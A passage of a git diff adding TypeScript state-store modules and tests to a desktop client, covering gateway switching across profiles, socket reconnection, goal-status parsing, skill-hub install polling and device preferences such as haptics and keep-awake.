+    $gatewaySwitching.set(false)
+  })
+
+  it('clears lists and arms loading so sidebar skeletons retrigger', () => {
+    wipeSessionListsForGatewaySwitch()
+
+    expect($sessions.get()).toEqual([])
+    expect($sessionProfilesTruncated.get()).toEqual({})
+    expect($cronSessions.get()).toEqual([])
+    expect($messagingSessions.get()).toEqual([])
+    expect($stalledSessionIds.get()).toEqual([])
+    expect($sessionsLoading.get()).toBe(true)
+    expect($sessionsLimit.get()).toBe(SIDEBAR_SESSIONS_PAGE_SIZE)
+    expect($freshDraftReady.get()).toBe(true)
+  })
+})
diff --git a/ui-desktop/src/store/gateway-switch.ts b/ui-desktop/src/store/gateway-switch.ts
new file mode 100644
index 000000000..692bcef4b
--- /dev/null
+++ b/ui-desktop/src/store/gateway-switch.ts
@@ -0,0 +1,79 @@
+import { atom } from 'nanostores'
+
+import { resetLiveRuntimeTracking } from '@/app/contrib/hooks/use-background-sync'
+import { resetSidebarBatchCapability } from '@/clawcodex'
+import { invalidateProfileScopedQueries } from '@/lib/query-client'
+import { clearArtifactRegistry } from '@/store/artifacts'
+import { resetSessionsLimit } from '@/store/layout'
+import { resetLiveSync } from '@/store/live-sync'
+import {
+  $unreadFinishedSessionIds,
+  setActiveSessionId,
+  setCronSessions,
+  setFreshDraftReady,
+  setMessages,
+  setMessagingPlatformTotals,
+  setMessagingSessions,
+  setMessagingTruncated,
+  setSelectedStoredSessionId,
+  setSessionProfilesTruncated,
+  setSessions,
+  setSessionsLoading
+} from '@/store/session'
+import { resetSessionPinMirror } from '@/store/session-pin-sync'
+import { clearAllSessionStates } from '@/store/session-states'
+
+// True while a soft gateway-mode apply is mid-flight (wipe → re-dial). Lets the
+// boot hook suppress the backend-exit toast and keeps the cold-boot CONNECTING
+// overlay from resurrecting when startClawCodex re-emits boot progress.
+export const $gatewaySwitching = atom(false)
+
+/**
+ * Clear gateway-bound session UI so sidebar skeletons retrigger.
+ *
+ * Sessions live in nanostores (not React Query) — refreshSessions merges into
+ * the existing list, so without an explicit wipe a soft switch would keep
+ * painting the previous gateway's rows. RQ caches (settings/config/skills) are
+ * invalidated separately; the live session list is this path.
+ *
+ * Does NOT call requestFreshSession() — that navigates to NEW_CHAT and would
+ * close route overlays (Settings). Clear chat state in place; leave the URL
+ * alone so the user stays where they were (e.g. mid-Gateway settings).
+ */
+export function wipeSessionListsForGatewaySwitch(): void {
+  // The next backend is a different runtime — don't carry the old one's
+  // "batched sidebar endpoint missing" capability verdict across the switch.
+  resetSidebarBatchCapability()
+  // Pins are mirrored per-backend. The next gateway has its own state.db and
+  // has never seen them, so drop the "already pushed" bookkeeping and let the
+  // next reconcile re-assert the whole set against the new backend.
+  resetSessionPinMirror()
+  setSessions([])
+  setSessionProfilesTruncated({})
+  setCronSessions([])
+  setMessagingSessions([])
+  setMessagingPlatformTotals({})
+  setMessagingTruncated(false)
+  // Clearing $sessionStates automatically clears $workingSessionIds and
+  // $attentionSessionIds (computed) and $stalledSessionIds (owned beside it).
+  // $unreadFinishedSessionIds is separate, so wipe it explicitly.
+  clearAllSessionStates()
+  resetLiveRuntimeTracking()
+  resetLiveSync()
+  $unreadFinishedSessionIds.set([])
+  setSessionsLoading(true)
+  resetSessionsLimit()
+
+  setActiveSessionId(null)
+  setSelectedStoredSessionId(null)
+  setMessages([])
+  setFreshDraftReady(true)
+
+  // Artifacts are keyed by sessions on the previous backend, so both the
+  // registry and any rail tab pointing into it go with them.
+  clearArtifactRegistry()
+
+  // Narrowed: account/marketplace/onboarding caches are global, not gateway-
+  // scoped, so a mode swap must not refetch them.
+  invalidateProfileScopedQueries()
+}
diff --git a/ui-desktop/src/store/gateway.ts b/ui-desktop/src/store/gateway.ts
new file mode 100644
index 000000000..42d49febf
--- /dev/null
+++ b/ui-desktop/src/store/gateway.ts
@@ -0,0 +1,385 @@
+import { type ConnectionState, type GatewayEvent, resolveGatewayWsUrl } from '@clawcodex/shared'
+import { atom } from 'nanostores'
+
+import { ClawCodexGateway } from '@/clawcodex'
+import { reconnectBackoffDelayMs } from '@/lib/reconnect-backoff'
+import { markNativeNotifyBaseline } from '@/store/notify-baseline'
+import { setGatewayState } from '@/store/session'
+
+// ── Multi-profile gateway routing ──────────────────────────────────────────
+// Concurrent sessions across profiles need concurrent sockets: the renderer's
+// event handler is already session-keyed, so the only thing stopping two
+// profiles streaming at once was the single swapping socket. We keep that one
+// socket as the PRIMARY (window) backend — owned by use-gateway-boot, with all
+// its boot-progress / sleep-wake machinery — and add one persistent SECONDARY
+// socket per *other* profile that has live work. Every socket feeds the same
+// handleGatewayEvent, so background sessions keep painting. Single-profile users
+// only ever have the primary, so their path is byte-for-byte unchanged.
+
+const normKey = (profile: string | null | undefined): string => (profile ?? '').trim() || 'default'
+
+// Read connection state through a call so TS control-flow analysis doesn't
+// narrow the getter to a constant across guards (it genuinely changes).
+const isOpen = (gateway: ClawCodexGateway | null): boolean => gateway?.connectionState === 'open'
+
+interface RegistryConfig {
+  onEvent: (event: GatewayEvent) => void
+}
+
+// ── Secondary (pool) backends ──────────────────────────────────────────────
+interface Secondary {
+  profile: string
+  gateway: ClawCodexGateway
+  offEvent: () => void
+  offState: () => void
+  reconnectTimer: ReturnType<typeof setTimeout> | null
+  reconnectAttempt: number
+  reconnecting: boolean
+  // While true the entry auto-reconnects on drop; pruning flips it off so a
+  // deliberate close doesn't trigger the backoff loop.
+  wantOpen: boolean
+}
+
+// ── HMR-stable module state ─────────────────────────────────────────────────
+// All mutable singletons (live sockets, active-profile routing, the event
+// registry) live in ONE container parked on globalThis, NOT in module-level
+// `let`/`const` bindings. Reason: this module is imported widely without an HMR
+// boundary that accepts it, so editing it (or anything that fans out to it)
+// makes Vite issue a FULL PAGE RELOAD — which would kill every live socket and
+// drop the agent session on an unrelated edit. Persisting the state on
+// globalThis + self-accepting HMR (bottom of file) turns that full reload into
+// an in-place hot update that preserves the sockets. Production strips
+// import.meta.hot, and a fresh page realm starts with an empty container, so the
+// runtime behavior is identical to plain module state.
+interface GatewayRegistryState {
+  config: RegistryConfig | null
+  primaryGateway: ClawCodexGateway | null
+  primaryProfile: string
+  activeKey: string
+  secondaries: Map<string, Secondary>
+  $gateway: ReturnType<typeof atom<ClawCodexGateway | null>>
+}
+
+const STATE_KEY = Symbol.for('clawcodex.desktop.gatewayRegistryState')
+
+function createRegistryState(): GatewayRegistryState {
+  return {
+    config: null,
+    primaryGateway: null,
+    primaryProfile: 'default',
+    activeKey: 'default',
+    secondaries: new Map<string, Secondary>(),
+    // The active gateway instance, exposed for inline message-stream
+    // components (inline ClarifyTool, model overlays) that call gateway
+    // methods without the instance threaded down through props.
+    $gateway: atom<ClawCodexGateway | null>(null)
+  }
+}
+
+// Dev only: park the singletons on globalThis so an HMR re-eval of this module
+// (self-accepted at the bottom) hands back the SAME live sockets/atoms instead
+// of resetting them — that's what keeps the agent session alive across UI edits.
+// `import.meta.hot` is undefined in production, so Vite dead-code-eliminates the
+// entire globalThis branch and prod uses a plain module-local singleton — no
+// globalThis, no Symbol.for. Both realms load the module once, so the container's
+// shape and lifetime are identical either way.
+function gatewayState(): GatewayRegistryState {
+  if (import.meta.hot) {
+    const store = globalThis as unknown as { [STATE_KEY]?: GatewayRegistryState }
+    store[STATE_KEY] ??= createRegistryState()
+
+    return store[STATE_KEY]
+  }
+
+  return createRegistryState()
+}
+
+const g = gatewayState()
+
+// Re-exported as a stable binding: the atom instance lives in `g`, so every hot
+// reload of this module hands back the SAME atom subscribers are already wired
+// to. (A fresh `atom()` per reload would orphan existing subscriptions.)
+export const $gateway = g.$gateway
+
+export function configureGatewayRegistry(cfg: RegistryConfig): void {
+  g.config = cfg
+}
+
+/**
+ * Feed a synthetic event through the exact same fan-out a real socket frame
+ * takes (`config.onEvent` → the desktop's `handleGatewayEvent`). Used by
+ * dev-only tooling to exercise the real event branches (e.g. the credit-notice
+ * demo) without a backend that can produce the event on demand. No-op until a
+ * registry is configured.
+ */
+export function emitLocalGatewayEvent(event: GatewayEvent): void {
+  g.config?.onEvent(event)
+}
+
+export function setPrimaryGateway(gateway: ClawCodexGateway | null, profile = 'default'): void {
+  g.primaryGateway = gateway
+  g.primaryProfile = normKey(profile)
+}
+
+export function isActivePrimary(): boolean {
+  return g.activeKey === g.primaryProfile
+}
+
+export function activeGateway(): ClawCodexGateway | null {
+  if (g.activeKey === g.primaryProfile) {
+    return g.primaryGateway
+  }
+
+  return g.secondaries.get(g.activeKey)?.gateway ?? g.primaryGateway
+}
+
+// Mirror a backend's connection state into the global composer state, but only
+// when that backend is the one the user is currently looking at. Lets the
+// composer reflect the active profile's socket without a background reconnect
+// flipping the foreground enabled/disabled state.
+function reportGatewayState(profile: string, state: ConnectionState): void {
+  // Any socket opening replays parked prompts; hold OS notifications so a
+  // launch/reconnect doesn't alert about state that already existed.
+  if (state === 'open') {
+    markNativeNotifyBaseline()
+  }
+
+  if (normKey(profile) === g.activeKey) {
+    setGatewayState(state)
+  }
+}
+
+export function reportPrimaryGatewayState(state: ConnectionState): void {
+  reportGatewayState(g.primaryProfile, state)
+}
+
+function setActive(profile: string): void {
+  g.activeKey = normKey(profile)
+  const gateway = activeGateway()
+  g.$gateway.set(gateway)
+  setGatewayState(gateway?.connectionState ?? 'closed')
+}
+
+function clearTimer(entry: Secondary): void {
+  if (entry.reconnectTimer !== null) {
+    clearTimeout(entry.reconnectTimer)
+    entry.reconnectTimer = null
+  }
+}
+
+async function openSecondary(entry: Secondary): Promise<void> {
+  const desktop = window.clawcodexDesktop
+
+  if (!desktop) {
+    return
+  }
+
+  const conn = await desktop.getConnection(entry.profile)
+  const wsUrl = await resolveGatewayWsUrl(desktop, conn)
+  await entry.gateway.connect(wsUrl)
+  void desktop.touchBackend?.(entry.profile).catch(() => undefined)
+}
+
+function scheduleReconnect(entry: Secondary): void {
+  if (entry.reconnecting || entry.reconnectTimer !== null || !entry.wantOpen) {
+    return
+  }
+
+  // Full-jitter exponential backoff — same shape (and same reason: avoid a
+  // reconnect storm against a restarting gateway) as the primary's.
+  const delay = reconnectBackoffDelayMs(entry.reconnectAttempt)
+  entry.reconnectAttempt += 1
+  entry.reconnectTimer = setTimeout(() => {
+    entry.reconnectTimer = null
+    void reconnectSecondary(entry)
+  }, delay)
+}
+
+async function reconnectSecondary(entry: Secondary): Promise<void> {
+  if (entry.reconnecting || !entry.wantOpen || isOpen(entry.gateway)) {
+    return
+  }
+
+  entry.reconnecting = true
+
+  try {
+    await openSecondary(entry)
+    entry.reconnectAttempt = 0
+  } catch {
+    // Transport failure → fall through to the backoff below.
+  } finally {
+    entry.reconnecting = false
+
+    if (entry.wantOpen && !isOpen(entry.gateway)) {
+      scheduleReconnect(entry)
+    }
+  }
+}
+
+function createSecondary(profile: string): Secondary {
+  const gateway = new ClawCodexGateway()
+
+  const entry: Secondary = {
+    profile,
+    gateway,
+    offEvent: () => {},
+    offState: () => {},
+    reconnectTimer: null,
+    reconnectAttempt: 0,
+    reconnecting: false,
+    wantOpen: true
+  }
+
+  entry.offEvent = gateway.onEvent(event => g.config?.onEvent({ ...event, profile }))
+  entry.offState = gateway.onState(state => {
+    reportGatewayState(profile, state)
+
+    if (state === 'open') {
+      entry.reconnectAttempt = 0
+      clearTimer(entry)
+    } else if ((state === 'closed' || state === 'error') && entry.wantOpen) {
+      scheduleReconnect(entry)
+    }
+  })
+
+  g.secondaries.set(profile, entry)
+
+  return entry
+}
+
+// Open `profile`'s socket WITHOUT making it active — the hover-intent pre-warm
+// (store/profile). Runs the same spawn + connect chain as a real switch, so by
+// click time ensureGatewayForProfile finds an open socket and just activates
+// it. No scheduleReconnect on failure: a hover is speculative, so a dead
+// backend must not start a background retry loop — the real switch owns retry
+// and error UX. An already-open (or primary) profile is a no-op.
+export async function openGatewayForProfile(profile: string): Promise<void> {
+  const key = normKey(profile)
+
+  if (key === g.primaryProfile) {
+    return
+  }
+
+  const entry = g.secondaries.get(key) ?? createSecondary(key)
+  entry.wantOpen = true
+
+  if (!isOpen(entry.gateway)) {
+    await openSecondary(entry)
+  }
+}
+
+// Make `profile` the active gateway, lazily opening its socket if needed. The
+// primary is a no-op fast path. Background sockets are never closed here.
+export async function ensureGatewayForProfile(profile: string): Promise<void> {
+  const key = normKey(profile)
+
+  if (key === g.primaryProfile) {
+    setActive(key)
+
+    return
+  }
+
+  let entry = g.secondaries.get(key)
+
+  if (!entry) {
+    entry = createSecondary(key)
+  }
+
+  entry.wantOpen = true
+
+  if (!isOpen(entry.gateway)) {
+    clearTimer(entry)
+    entry.reconnectAttempt = 0
+
+    try {
+      await openSecondary(entry)
+    } catch {
+      scheduleReconnect(entry)
+    }
+  }
+
+  setActive(key)
+}
+
+// Reconnect the active gateway after a transient request failure. Primary
+// reconnects are owned by use-gateway-boot, so we only drive secondaries here.
+export async function ensureActiveGatewayOpen(): Promise<ClawCodexGateway | null> {
+  if (g.activeKey === g.primaryProfile) {
+    return g.primaryGateway
+  }
+
+  const entry = g.secondaries.get(g.activeKey)
+
+  if (!entry) {
+    return null
+  }
+
+  if (!isOpen(entry.gateway)) {
+    await reconnectSecondary(entry)
+  }
+
+  return isOpen(entry.gateway) ? entry.gateway : null
+}
+
+// Wake signal (sleep/network/visibility): nudge every live secondary back open.
+export function reconnectSecondaryGateways(): void {
+  for (const entry of g.secondaries.values()) {
+    if (!entry.wantOpen || isOpen(entry.gateway)) {
+      continue
+    }
+
+    entry.reconnectAttempt = 0
+    clearTimer(entry)
+    void reconnectSecondary(entry)
+  }
+}
+
+// Keep the idle reaper from killing a backend we still need: ping every live
+// secondary. The active one is pinged separately (touchActiveGatewayBackend).
+export function touchSecondaryGateways(): void {
+  const desktop = window.clawcodexDesktop
+
+  for (const entry of g.secondaries.values()) {
+    if (entry.wantOpen) {
+      void desktop?.touchBackend?.(entry.profile).catch(() => undefined)
+    }
+  }
+}
+
+// Tear a secondary down: stop its reconnect loop, detach listeners, close the
+// socket. Caller handles removal from the map.
+function disposeSecondary(entry: Secondary): void {
+  entry.wantOpen = false
+  clearTimer(entry)
+  entry.offEvent()
+  entry.offState()
+  entry.gateway.close()
+}
+
+// Close + evict secondaries whose profile is neither active nor in `keep`
+// (profiles with a running / needs-input session). Bounds cost to live work.
+export function pruneSecondaryGateways(keep: Set<string>): void {
+  for (const [key, entry] of [...g.secondaries]) {
+    if (key === g.activeKey || keep.has(key)) {
+      continue
+    }
+
+    disposeSecondary(entry)
+    g.secondaries.delete(key)
+  }
+}
+
+export function closeSecondaryGateways(): void {
+  for (const entry of g.secondaries.values()) {
+    disposeSecondary(entry)
+  }
+
+  g.secondaries.clear()
+}
+
+// Self-accept so editing this module (or a fan-out that lands here) is an
+// in-place hot update instead of a full page reload — the live sockets in `g`
+// survive the swap. Dev-only: production strips import.meta.hot.
+if (import.meta.hot) {
+  import.meta.hot.accept()
+}
diff --git a/ui-desktop/src/store/goals.test.ts b/ui-desktop/src/store/goals.test.ts
new file mode 100644
index 000000000..61c00dd48
--- /dev/null
+++ b/ui-desktop/src/store/goals.test.ts
@@ -0,0 +1,73 @@
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { $goalsBySession, applyGoalStatusText, clearSessionGoal } from './goals'
+
+describe('goal store', () => {
+  afterEach(() => {
+    vi.useRealTimers()
+    $goalsBySession.set({})
+  })
+
+  it('stores active goals from /goal output', () => {
+    applyGoalStatusText('s1', '⊙ Goal set (20-turn budget): ship the feature')
+
+    expect($goalsBySession.get().s1).toMatchObject({
+      status: 'active',
+      title: 'ship the feature'
+    })
+  })
+
+  it('keeps the current title for continuation and pause messages', () => {
+    applyGoalStatusText('s1', '⊙ Goal set (20-turn budget): ship the feature')
+    applyGoalStatusText('s1', '↻ Continuing toward goal (1/20): next step is tests')
+
+    expect($goalsBySession.get().s1).toMatchObject({
+      detail: 'Continuing toward goal (1/20): next step is tests',
+      status: 'active',
+      title: 'ship the feature'
+    })
+
+    applyGoalStatusText('s1', '⏸ Goal paused — 20/20 turns used. Use /goal resume to keep going.')
+
+    expect($goalsBySession.get().s1).toMatchObject({
+      status: 'paused',
+      title: 'ship the feature'
+    })
+  })
+
+  it('lingers done goals before clearing them', () => {
+    vi.useFakeTimers()
+
+    applyGoalStatusText('s1', '⊙ Goal set (20-turn budget): ship the feature')
+    applyGoalStatusText('s1', '✓ Goal achieved: tests pass')
+
+    expect($goalsBySession.get().s1).toMatchObject({ status: 'done' })
+
+    vi.advanceTimersByTime(7_999)
+    expect($goalsBySession.get().s1).toBeTruthy()
+
+    vi.advanceTimersByTime(1)
+    expect($goalsBySession.get().s1).toBeUndefined()
+  })
+
+  it('clears on no-goal output', () => {
+    applyGoalStatusText('s1', '⊙ Goal set (20-turn budget): ship another feature')
+    applyGoalStatusText('s1', 'No active goal. Set one with /goal <text>.')
+
+    expect($goalsBySession.get().s1).toBeUndefined()
+  })
+
+  it('cancels pending done clears when replacing a goal', () => {
+    vi.useFakeTimers()
+
+    applyGoalStatusText('s1', '⊙ Goal set: first')
+    applyGoalStatusText('s1', '✓ Goal achieved: first done')
+    applyGoalStatusText('s1', '⊙ Goal set: second')
+
+    vi.advanceTimersByTime(8_000)
+
+    expect($goalsBySession.get().s1).toMatchObject({ status: 'active', title: 'second' })
+
+    clearSessionGoal('s1')
+  })
+})
diff --git a/ui-desktop/src/store/goals.ts b/ui-desktop/src/store/goals.ts
new file mode 100644
index 000000000..3b19b7eb6
--- /dev/null
+++ b/ui-desktop/src/store/goals.ts
@@ -0,0 +1,177 @@
+import { atom } from 'nanostores'
+
+import { $gateway } from './gateway'
+
+export type GoalStatus = 'active' | 'done' | 'paused' | 'waiting'
+
+export interface SessionGoal {
+  detail?: string
+  status: GoalStatus
+  title: string
+  updatedAt: number
+}
+
+export const $goalsBySession = atom<Record<string, SessionGoal>>({})
+
+const DONE_LINGER_MS = 8_000
+const clearTimers = new Map<string, ReturnType<typeof setTimeout>>()
+
+function cancelScheduledClear(sid: string) {
+  const timer = clearTimers.get(sid)
+
+  if (timer !== undefined) {
+    clearTimeout(timer)
+    clearTimers.delete(sid)
+  }
+}
+
+export function setSessionGoal(sid: string, goal: SessionGoal) {
+  if (!sid) {
+    return
+  }
+
+  cancelScheduledClear(sid)
+  $goalsBySession.set({ ...$goalsBySession.get(), [sid]: goal })
+
+  if (goal.status === 'done') {
+    clearTimers.set(
+      sid,
+      setTimeout(() => {
+        clearTimers.delete(sid)
+        clearSessionGoal(sid)
+      }, DONE_LINGER_MS)
+    )
+  }
+}
+
+export function clearSessionGoal(sid: string) {
+  cancelScheduledClear(sid)
+
+  const map = $goalsBySession.get()
+
+  if (!(sid in map)) {
+    return
+  }
+
+  const { [sid]: _drop, ...rest } = map
+  $goalsBySession.set(rest)
+}
+
+const clean = (value: string): string => value.replace(/\r/g, '').trim()
+
+const firstLine = (value: string): string => clean(value).split('\n')[0]?.trim() ?? ''
+
+function goalTitleFromLine(line: string, pattern: RegExp): string {
+  return (line.match(pattern)?.[1] ?? '').trim()
+}
+
+function nextGoalFromText(text: string, previous?: SessionGoal): SessionGoal | null | undefined {
+  const body = clean(text)
+  const line = firstLine(body)
+
+  if (!line) {
+    return undefined
+  }
+
+  if (
+    /^No active goal\b/i.test(line) ||
+    /^No goal (?:set|to resume)\b/i.test(line) ||
+    /^✓ Goal cleared\b/i.test(line)
+  ) {
+    return null
+  }
+
+  const now = Date.now()
+  const fromSet = goalTitleFromLine(line, /^⊙ Goal set(?:\s*\([^)]*\))?:\s*(.+)$/)
+  const fromActive = goalTitleFromLine(line, /^⊙ Goal\s*\([^)]*active[^)]*\):\s*(.+)$/)
+  const fromResume = goalTitleFromLine(line, /^▶ Goal resumed:\s*(.+)$/)
+
+  if (fromSet || fromActive || fromResume) {
+    return { status: 'active', title: fromSet || fromActive || fromResume, updatedAt: now }
+  }
+
+  const fromWaiting = goalTitleFromLine(line, /^⏳ Goal\s*\([^)]*(?:parked|active)[^)]*\):\s*(.+)$/)
+
+  if (fromWaiting) {
+    return { status: 'waiting', title: fromWaiting, updatedAt: now }
+  }
+
+  const fromPaused = goalTitleFromLine(line, /^⏸ Goal(?:\s*\([^)]*\)| paused)?:\s*(.+)$/)
+
+  if (fromPaused) {
+    return { status: 'paused', title: fromPaused, updatedAt: now }
+  }
+
+  const fromDone = goalTitleFromLine(line, /^✓ Goal done\s*\([^)]*\):\s*(.+)$/)
+
+  if (fromDone) {
+    return { status: 'done', title: fromDone, updatedAt: now }
+  }
+
+  if (/^↻ Continuing toward goal\b/i.test(line)) {
+    return {
+      detail: line.replace(/^↻\s*/, ''),
+      status: 'active',
+      title: previous?.title || 'Standing goal',
+      updatedAt: now
+    }
+  }
+
+  if (/^⏳ Goal parked\b/i.test(line)) {
+    return {
+      detail: line.replace(/^⏳\s*/, ''),
+      status: 'waiting',
+      title: previous?.title || 'Standing goal',
+      updatedAt: now
+    }
+  }
+
+  if (/^⏸ Goal paused\b/i.test(line)) {
+    return {
+      detail: line.replace(/^⏸\s*/, ''),
+      status: 'paused',
+      title: previous?.title || 'Standing goal',
+      updatedAt: now
+    }
+  }
+
+  if (/^✓ Goal achieved\b/i.test(line)) {
+    return {
+      detail: line.replace(/^✓\s*/, ''),
+      status: 'done',
+      title: previous?.title || 'Standing goal',
+      updatedAt: now
+    }
+  }
+
+  return undefined
+}
+
+export function applyGoalStatusText(sid: string, text: string) {
+  if (!sid) {
+    return
+  }
+
+  const next = nextGoalFromText(text, $goalsBySession.get()[sid])
+
+  if (next === null) {
+    clearSessionGoal(sid)
+  } else if (next) {
+    setSessionGoal(sid, next)
+  }
+}
+
+export async function refreshSessionGoal(sid: string): Promise<void> {
+  const gateway = $gateway.get()
+
+  if (!sid || !gateway) {
+    return
+  }
+
+  try {
+    const result = await gateway.request<{ output?: string }>('slash.exec', { command: 'goal status', session_id: sid })
+    applyGoalStatusText(sid, result?.output ?? '')
+  } catch {
+    // Best-effort: older gateways or detached sessions simply won't hydrate it.
+  }
+}
diff --git a/ui-desktop/src/store/haptics.ts b/ui-desktop/src/store/haptics.ts
new file mode 100644
index 000000000..daa9b9b30
--- /dev/null
+++ b/ui-desktop/src/store/haptics.ts
@@ -0,0 +1,17 @@
+import { atom } from 'nanostores'
+
+import { persistBoolean, storedBoolean } from '@/lib/storage'
+
+const HAPTICS_MUTED_STORAGE_KEY = 'clawcodex.desktop.hapticsMuted'
+
+export const $hapticsMuted = atom(storedBoolean(HAPTICS_MUTED_STORAGE_KEY, false))
+
+$hapticsMuted.subscribe(muted => persistBoolean(HAPTICS_MUTED_STORAGE_KEY, muted))
+
+export function setHapticsMuted(muted: boolean) {
+  $hapticsMuted.set(muted)
+}
+
+export function toggleHapticsMuted() {
+  $hapticsMuted.set(!$hapticsMuted.get())
+}
diff --git a/ui-desktop/src/store/hub-actions.ts b/ui-desktop/src/store/hub-actions.ts
new file mode 100644
index 000000000..c7a28405a
--- /dev/null
+++ b/ui-desktop/src/store/hub-actions.ts
@@ -0,0 +1,146 @@
+import { atom, map } from 'nanostores'
+
+import { getActionStatus, installSkillFromHub, uninstallSkillFromHub, updateSkillsFromHub } from '@/clawcodex'
+import { queryClient } from '@/lib/query-client'
+import { invalidateSlashCompletions } from '@/lib/slash-completion-cache'
+import { upsertDesktopActionTask } from '@/store/activity'
+import { $activeGatewayProfile, normalizeProfileKey } from '@/store/profile'
+
+const POLL_MS = 1200
+
+// Shared with hub.tsx's sources useQuery so a finished action refreshes the
+// installed map.
+export const HUB_SOURCES_KEY = ['skill-hub-sources'] as const
+// The Capabilities Skills-list query key (see app/skills/index.tsx) — kept in
+// sync here so a hub (un)install updates the Skills tab, not just the hub.
+const SKILLS_LIST_KEY = ['skills-list'] as const
+// Non-identifier key for the fleet-wide "Update installed" action.
+export const UPDATE_ALL_KEY = '__update_all__'
+
+export type HubActionKind = 'install' | 'uninstall' | 'update'
+
+export interface HubAction {
+  kind: HubActionKind
+  running: boolean
+  lines: string[]
+}
+
+// Per-item action status, keyed by skill identifier (or UPDATE_ALL_KEY). Each
+// row drives its own button off ITS entry — one install never touches another.
+export const $hubActions = map<Record<string, HubAction | undefined>>({})
+
+// Optimistic installed overrides so a row flips to its resolved state the instant
+// its own action finishes, instead of waiting on (and racing) the sources
+// refetch. install/update → true, uninstall → false; sources reconciles after.
+export const $hubInstalledOverride = map<Record<string, boolean | undefined>>({})
+
+// The key whose log the bottom pane currently tails (the latest-started action).
+export const $hubActiveLog = atom<null | string>(null)
+
+// Hub action state is per-profile: a profile switch must drop every in-flight
+// entry, optimistic override, and active log so profile A's install/uninstall
+// state can never render (or be polled) in profile B. Cleared at the source so
+// it holds regardless of whether the Hub view is mounted. The epoch bumps on
+// every switch; a runHubAction() started before the switch captures it and bails
+// before any store write once it no longer matches (so an A action finishing
+// after the clear can't repopulate B).
+let _hubProfile: null | string = null
+let _hubEpoch = 0
+
+$activeGatewayProfile.subscribe(value => {
+  const key = normalizeProfileKey(value)
+
+  if (_hubProfile !== null && _hubProfile !== key) {
+    _hubEpoch += 1
+    $hubActions.set({})
+    $hubInstalledOverride.set({})
+    $hubActiveLog.set(null)
+  }
+
+  _hubProfile = key
+})
+
+// One self-contained task: spawn → tail its own action log into the store →
+// mark resolved. Concurrency-safe: state is per-key, so parallel installs never
+// stomp each other, and the sources query is invalidated once at the end.
+async function runHubAction(key: string, kind: HubActionKind, spawn: () => Promise<{ name: string }>): Promise<void> {
+  const epoch = _hubEpoch
+  const switched = () => _hubEpoch !== epoch
+
+  $hubActions.setKey(key, { kind, running: true, lines: [] })
+  $hubActiveLog.set(key)
+
+  try {
+    const started = await spawn()
+    let exitCode: number | null = null
+
+    for (;;) {
+      const status = await getActionStatus(started.name, 200)
+
+      // Profile switched mid-flight: the store was cleared for the new profile,
+      // so drop this A-profile result instead of writing it back into B.
+      if (switched()) {
+        return
+      }
+
+      upsertDesktopActionTask(status)
+      $hubActions.setKey(key, { kind, running: status.running, lines: status.lines })
+
+      if (!status.running) {
+        exitCode = status.exit_code
+
+        break
+      }
+
+      await new Promise(resolve => setTimeout(resolve, POLL_MS))
+    }
+
+    // Only flip the row on a clean exit — a failed install/uninstall must not
+    // render as installed/removed.
+    if (key !== UPDATE_ALL_KEY && exitCode === 0) {
+      $hubInstalledOverride.setKey(key, kind !== 'uninstall')
+    }
+
+    // Refresh the hub's installed map AND the Capabilities Skills list — a hub
+    // (un)install adds/removes a skill, so its count/rows must update too.
+    void queryClient.invalidateQueries({ queryKey: HUB_SOURCES_KEY })
+    void queryClient.invalidateQueries({ queryKey: SKILLS_LIST_KEY })
+    // …and the composer's `/` list, which caches the command catalog for an
+    // hour and would otherwise keep offering the skill we just removed.
+    invalidateSlashCompletions()
+  } catch (err) {
+    // A profile switch points the next poll at the new backend, which 404s the
+    // old action name — that's an abandonment, not a failure, so swallow it
+    // instead of letting the caller toast a phantom error. Real (same-profile)
+    // failures still propagate.
+    if (switched()) {
+      return
+    }
+
+    throw err
+  } finally {
+    // Skip the running=false write after a switch — it would re-add the key the
+    // profile-switch clear just dropped.
+    const current = $hubActions.get()[key]
+
+    if (current && !switched()) {
+      $hubActions.setKey(key, { ...current, running: false })
+    }
+  }
+}
+
+export function installHubSkill(identifier: string): Promise<void> {
+  return runHubAction(identifier, 'install', () => installSkillFromHub(identifier))
+}
+
+export function uninstallHubSkill(identifier: string, name: string): Promise<void> {
+  return runHubAction(identifier, 'uninstall', () => uninstallSkillFromHub(name))
+}
+
+export function updateHubSkills(): Promise<void> {
+  return runHubAction(UPDATE_ALL_KEY, 'update', () => updateSkillsFromHub())
+}
+
+export function closeHubLog(): void {
+  $hubActiveLog.set(null)
+}
diff --git a/ui-desktop/src/store/keep-awake.test.ts b/ui-desktop/src/store/keep-awake.test.ts
new file mode 100644
index 000000000..1a0cc1fcd
--- /dev/null
+++ b/ui-desktop/src/store/keep-awake.test.ts
@@ -0,0 +1,33 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { storedBoolean } from '@/lib/storage'
+
+import { $keepAwake, setKeepAwake } from './keep-awake'
+
+const KEY = 'clawcodex.desktop.keepAwake.v1'
+const desktopWindow = window as unknown as { clawcodexDesktop?: Window['clawcodexDesktop'] }
+const initialClawCodexDesktop = desktopWindow.clawcodexDesktop
+const setKeepAwakeBridge = vi.fn()
+
+beforeEach(() => {
+  desktopWindow.clawcodexDesktop = { setKeepAwake: setKeepAwakeBridge } as unknown as Window['clawcodexDesktop']
+  setKeepAwake(false)
+  setKeepAwakeBridge.mockClear()
+})
+
+afterEach(() => {
+  desktopWindow.clawcodexDesktop = initialClawCodexDesktop
+})
+
+describe('keep-awake store', () => {
+  it('persists the pref and mirrors it to the main process', () => {
+    setKeepAwake(true)
+    expect($keepAwake.get()).toBe(true)
+    expect(storedBoolean(KEY, false)).toBe(true)
+    expect(setKeepAwakeBridge).toHaveBeenLastCalledWith(true)
+
+    setKeepAwake(false)
+    expect(storedBoolean(KEY, true)).toBe(false)
+    expect(setKeepAwakeBridge).toHaveBeenLastCalledWith(false)
+  })
+})
diff --git a/ui-desktop/src/store/keep-awake.ts b/ui-desktop/src/store/keep-awake.ts
new file mode 100644
index 000000000..31bdb601e
--- /dev/null
+++ b/ui-desktop/src/store/keep-awake.ts
@@ -0,0 +1,29 @@
+/**
+ * Keep-awake — stop the machine sleeping during long, unattended runs.
+ *
+ * A device-local preference (each computer keeps its own), off by default. This
+ * atom backs the Settings → Advanced toggle and mirrors changes to the main
+ * process, which owns the real power-save blocker AND its own persisted copy —
+ * so a cold launch restores the blocker without the renderer visiting Settings
+ * (see electron/main.ts + electron/power-save.ts). Linux/web without the bridge
+ * just no-op.
+ */
+
+import { atom } from 'nanostores'
+
+import { persistBoolean, storedBoolean } from '@/lib/storage'
+
